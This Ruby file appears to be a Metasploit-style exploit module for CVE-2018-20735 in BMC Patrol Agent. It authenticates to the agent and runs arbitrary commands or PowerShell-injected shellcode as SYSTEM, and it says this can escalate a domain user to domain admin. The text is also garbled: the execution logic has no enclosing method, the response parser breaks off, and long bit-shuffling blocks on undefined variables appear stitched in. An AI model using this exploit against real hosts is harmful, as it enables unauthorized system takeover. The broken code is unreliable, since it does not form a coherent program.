def initialize(info = {})
super(update_info(info,
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
'Description' => %q(
This module leverages the remote command execution feature provided by
the BMC Patrol Agent software. It can also be used to escalate privileges
on Windows hosts as the software runs as SYSTEM but only verfies that the password
of the provided user is correct. This also means if the software is running on a
domain controller, it can be used to escalate from a normal domain user to domain
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
powershell to execute the payload. The powershell version tends to timeout on
the first run so it may take multiple tries.
),
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
],
'References' =>
[
['CVE', '2018-20735'],
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[
'Windows Powershell Injected Shellcode', {
'Platform' => 'win'
}
],
[
'Generic Command Callback', {
'Arch' => ARCH_CMD,
'Platform' => %w[linux unix win]
}
]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'DisclosureDate' => 'Jan 17 2019'))
register_options(
[
Opt::RPORT(3181),
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
]
)
end
def cleanup
disconnect
print_status("Disconnected from BMC Patrol Agent.")
@inflater.close
@deflater.close
super
end
def get_target_os(srv_info_msg)
lines = srv_info_msg.split("\n")
fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"
os = nil
ver = nil
lines[2..-2].each do |i|
val = i.split("=")
if val.length == 2
if val[0].strip! == "T"
os = val[1]
elsif val[0].strip! == "VER"
ver = val[1]
end
end
end
[os, ver]
end
# Receive the authentication response
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?
ret_msg = process_response(ret_data)
if ret_msg =~ /logged in/
print_status("Successfully authenticated user.")
else
fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
end
# Receive the server info
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
srv_info = process_response(ret_data)
# Get the target's OS from their info msg
target_os = get_target_os(srv_info)
# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
target_name = target.name
if !datastore['CMD'].nil?
command = datastore['CMD'].tr('"', '\"')
print_status("Command to execute: #{command}")
elsif target_name == 'Windows Powershell Injected Shellcode'
# Get encoded powershell of payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
else
command = payload.raw.tr('"', '\"')
end
# Run command
run_cmd(command)
# Receive command confirmation
ret_data = receive_msg
if !ret_data.nil?
process_response(ret_data)
end
# Receive command output
ret_data = receive_msg
if !ret_data.nil? && !datastore['CMD'].nil?
cmd_result_data = process_response(ret_data)
cmd_result = get_cmd_output(cmd_result_data)
print_status("Output:\n#{cmd_result}")
end
# Handle the shell
handler
end
def receive_msg
header = sock.get_once(6)
if header.nil?
return
end
payload_size_arr = header[0, 4]
payload_size = payload_size_arr.unpack1("N")
payload = ''
if payload_size > 0
payload = sock.get_once(payload_size)
if payload.nil?
return
end
end
return header + payload
end
def send_msg(type, compression, data)
data_len = data.length
buf = [data_len].pack('N')
# Set the type
buf += [type].pack('C')
# Set compression flag
buf += [compression].pack('C')
# Add data
buf += data
# Send msg
sock.put(buf)
end
def process_response(ret_data)
# While style checks complain, I intend to leave this parsing
# in place for debugging purposes
ret_size_arr = ret_data[0, 4]
ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment
if (v4 & 0x2000000) != 0
v5 = 1
end
if (v4 & 0x20000) != 0
v5 |= 2
end
if (v4 & 0x200) != 0
v5 |= 4
end
if (v4 & 2) != 0
v5 |= 8
end
if (v3 & 0x2000000) != 0
v5 |= 0x10
end
if (v3 & 0x20000) != 0
v5 |= 0x20
end
if (v3 & 0x200) != 0
v5 |= 0x40
end
if (v3 & 2) != 0
v5 |= 0x80
end
if (v4 & 0x8000000) != 0
v5 |= 0x100
end
if (v4 & 0x80000) != 0
v5 |= 0x200
end
if (v4 & 0x800) != 0
v5 |= 0x400
end
if (v4 & 8) != 0
v5 |= 0x800
end
if (v3 & 0x8000000) != 0
v5 |= 0x1000
end
if (v3 & 0x80000) != 0
v5 |= 0x2000
end
if (v3 & 0x800) != 0
v5 |= 0x4000
end
if (v3 & 8) != 0
v5 |= 0x8000
end
if (v4 & 0x20000000) != 0
v5 |= 0x10000
end
if (v4 & 0x200000) != 0
v5 |= 0x20000
end
if (v4 & 0x2000) != 0
v5 |= 0x40000
end
if (v4 & 0x20) != 0
v5 |= 0x80000
end
if (v3 & 0x20000000) != 0
v5 |= 0x100000
end
if (v3 & 0x200000) != 0
v5 |= 0x200000
end
if (v3 & 0x2000) != 0
v5 |= 0x400000
end
if (v3 & 0x20) != 0
v5 |= 0x800000
end
if (v4 < 0)
v5 |= 0x1000000
end
if (v4 & 0x800000) != 0
v5 |= 0x2000000
end
if (v4 & 0x8000) != 0
v5 |= 0x4000000
end
if (v4 & 0x80) != 0
v5 |= 0x8000000
end
if (v3 < 0)
v5 |= 0x10000000
end
if (v3 & 0x800000) != 0
v5 |= 0x20000000
end
if (v3 & 0x8000) != 0
v5 |= 0x40000000
end
if (v3 & 0x80) != 0
v5 |= 0x80000000
end
if (v4 & 0x1000000) != 0
v6 = 1
end
if (v4 & 0x10000) != 0
v6 |= 2
end
if (v4 & 0x100) != 0
v6 |= 4
end
if (v4 & 1) != 0
v6 |= 8
end
if (v3 & 0x1000000) != 0
v6 |= 0x10
end
if (v3 & 0x10000) != 0
v6 |= 0x20
end
if (v3 & 0x100) != 0
v6 |= 0x40
end
if (v3 & 1) != 0
v6 |= 0x80
end
if (v4 & 0x4000000) != 0
v6 |= 0x100
end
if (v4 & 0x40000) != 0
v6 |= 0x200
end
if (v4 & 0x400) != 0
v6 |= 0x400
end
if (v4 & 4) != 0
v6 |= 0x800
end
if (v3 & 0x4000000) != 0
v6 |= 0x1000
end
if (v3 & 0x40000) != 0
v6 |= 0x2000
end
if (v3 & 0x400) != 0
v6 |= 0x4000
end
if (v3 & 4) != 0
v6 |= 0x8000
end
if (v4 & 0x10000000) != 0
v6 |= 0x10000
end
if (v4 & 0x100000) != 0
v6 |= 0x20000
end
if (v4 & 0x1000) != 0
v6 |= 0x40000
end
if (v4 & 0x10) != 0
v6 |= 0x80000
end
if (v3 & 0x10000000) != 0
v6 |= 0x100000
end
if (v3 & 0x100000) != 0
v6 |= 0x200000
end
if (v3 & 0x1000) != 0
v6 |= 0x400000
end
if (v3 & 0x10) != 0
v6 |= 0x800000
end
if (v4 & 0x40000000) != 0
v6 |= 0x1000000
end
if (v4 & 0x400000) != 0
v6 |= 0x2000000
end
if (v4 & 0x4000) != 0
v6 |= 0x4000000
end
if (v4 & 0x40) != 0
v6 |= 0x8000000
end
if (v3 & 0x40000000) != 0
v6 |= 0x10000000
end
if (v3 & 0x400000) != 0
v6 |= 0x20000000
end
if (v3 & 0x4000) != 0
v6 |= 0x40000000
end
if (v3 & 0x40) != 0
v6 |= 0x80000000
end
if (v4 & 0x80) != 0
v5 = 1
end
if (v3 & 0x80) != 0
v5 |= 2
end
if (v4 & 0x8000) != 0
v5 |= 4
end
if (v3 & 0x8000) != 0
v5 |= 8
end
if (v4 & 0x800000) != 0
v5 |= 0x10
end
if (v3 & 0x800000) != 0
v5 |= 0x20
end
if (v4 < 0)
v5 |= 0x40
end
if (v3 < 0)
v5 |= 0x80
end
if (v4 & 0x40) != 0
v5 |= 0x100
end
if (v3 & 0x40) != 0
v5 |= 0x200
end
if (v4 & 0x4000) != 0
v5 |= 0x400
end
if (v3 & 0x4000) != 0
v5 |= 0x800
end
if (v4 & 0x400000) != 0
v5 |= 0x1000
end
if (v3 & 0x400000) != 0
v5 |= 0x2000
end
if (v4 & 0x40000000) != 0
v5 |= 0x4000
end
if (v3 & 0x40000000) != 0
v5 |= 0x8000
end
if (v4 & 0x20) != 0
v5 |= 0x10000
end
if (v3 & 0x20) != 0
v5 |= 0x20000
end
if (v4 & 0x2000) != 0
v5 |= 0x40000
end
if (v3 & 0x2000) != 0
v5 |= 0x80000
end
if (v4 & 0x200000) != 0
v5 |= 0x100000
end
if (v3 & 0x200000) != 0
v5 |= 0x200000
end
if (v4 & 0x20000000) != 0
v5 |= 0x400000
end
if (v3 & 0x20000000) != 0
v5 |= 0x800000
end
if (v4 & 0x10) != 0
v5 |= 0x1000000
end
if (v3 & 0x10) != 0
v5 |= 0x2000000
end
if (v4 & 0x1000) != 0
v5 |= 0x4000000
end
if (v3 & 0x1000) != 0
v5 |= 0x8000000
end
if (v4 & 0x100000) != 0
v5 |= 0x10000000
end
if (v3 & 0x100000) != 0
v5 |= 0x20000000
end
if (v4 & 0x10000000) != 0
v5 |= 0x40000000
end
if (v3 & 0x10000000) != 0
v5 |= 0x80000000
end
if (v4 & 8) != 0
v6 = 1
end
if (v3 & 8) != 0
v6 |= 2
end
if (v4 & 0x800) != 0
v6 |= 4
end
if (v3 & 0x800) != 0
v6 |= 8
end
if (v4 & 0x80000) != 0
v6 |= 0x10
end
if (v3 & 0x80000) != 0
v6 |= 0x20
end
if (v4 & 0x8000000) != 0
v6 |= 0x40
end
if (v3 & 0x8000000) != 0
v6 |= 0x80
end
if (v4 & 4) != 0
v6 |= 0x100
end
if (v3 & 4) != 0
v6 |= 0x200
end
if (v4 & 0x400) != 0
v6 |= 0x400
end
if (v3 & 0x400) != 0
v6 |= 0x800
end
if (v4 & 0x40000) != 0
v6 |= 0x1000
end
if (v3 & 0x40000) != 0
v6 |= 0x2000
end
if (v4 & 0x4000000) != 0
v6 |= 0x4000
end
if (v3 & 0x4000000) != 0
v6 |= 0x8000
end
if (v4 & 2) != 0
v6 |= 0x10000
end
if (v3 & 2) != 0
v6 |= 0x20000
end
if (v4 & 0x200) != 0
v6 |= 0x40000
end
if (v3 & 0x200) != 0
v6 |= 0x80000
end
if (v4 & 0x20000) != 0
v6 |= 0x100000
end
if (v3 & 0x20000) != 0
v6 |= 0x200000
end
if (v4 & 0x2000000) != 0
v6 |= 0x400000
end
if (v3 & 0x2000000) != 0
v6 |= 0x800000
end
if (v4 & 1) != 0
v6 |= 0x1000000
end
if (v3 & 1) != 0
v6 |= 0x2000000
end
if (v4 & 0x100) != 0
v6 |= 0x4000000
end
if (v3 & 0x100) != 0
v6 |= 0x8000000
end
if (v4 & 0x10000) != 0
v6 |= 0x10000000
end
if (v3 & 0x10000) != 0
v6 |= 0x20000000
end
if (v4 & 0x1000000) != 0
v6 |= 0x40000000
end
if (v3 & 0x1000000) != 0
v6 |= 0x80000000
end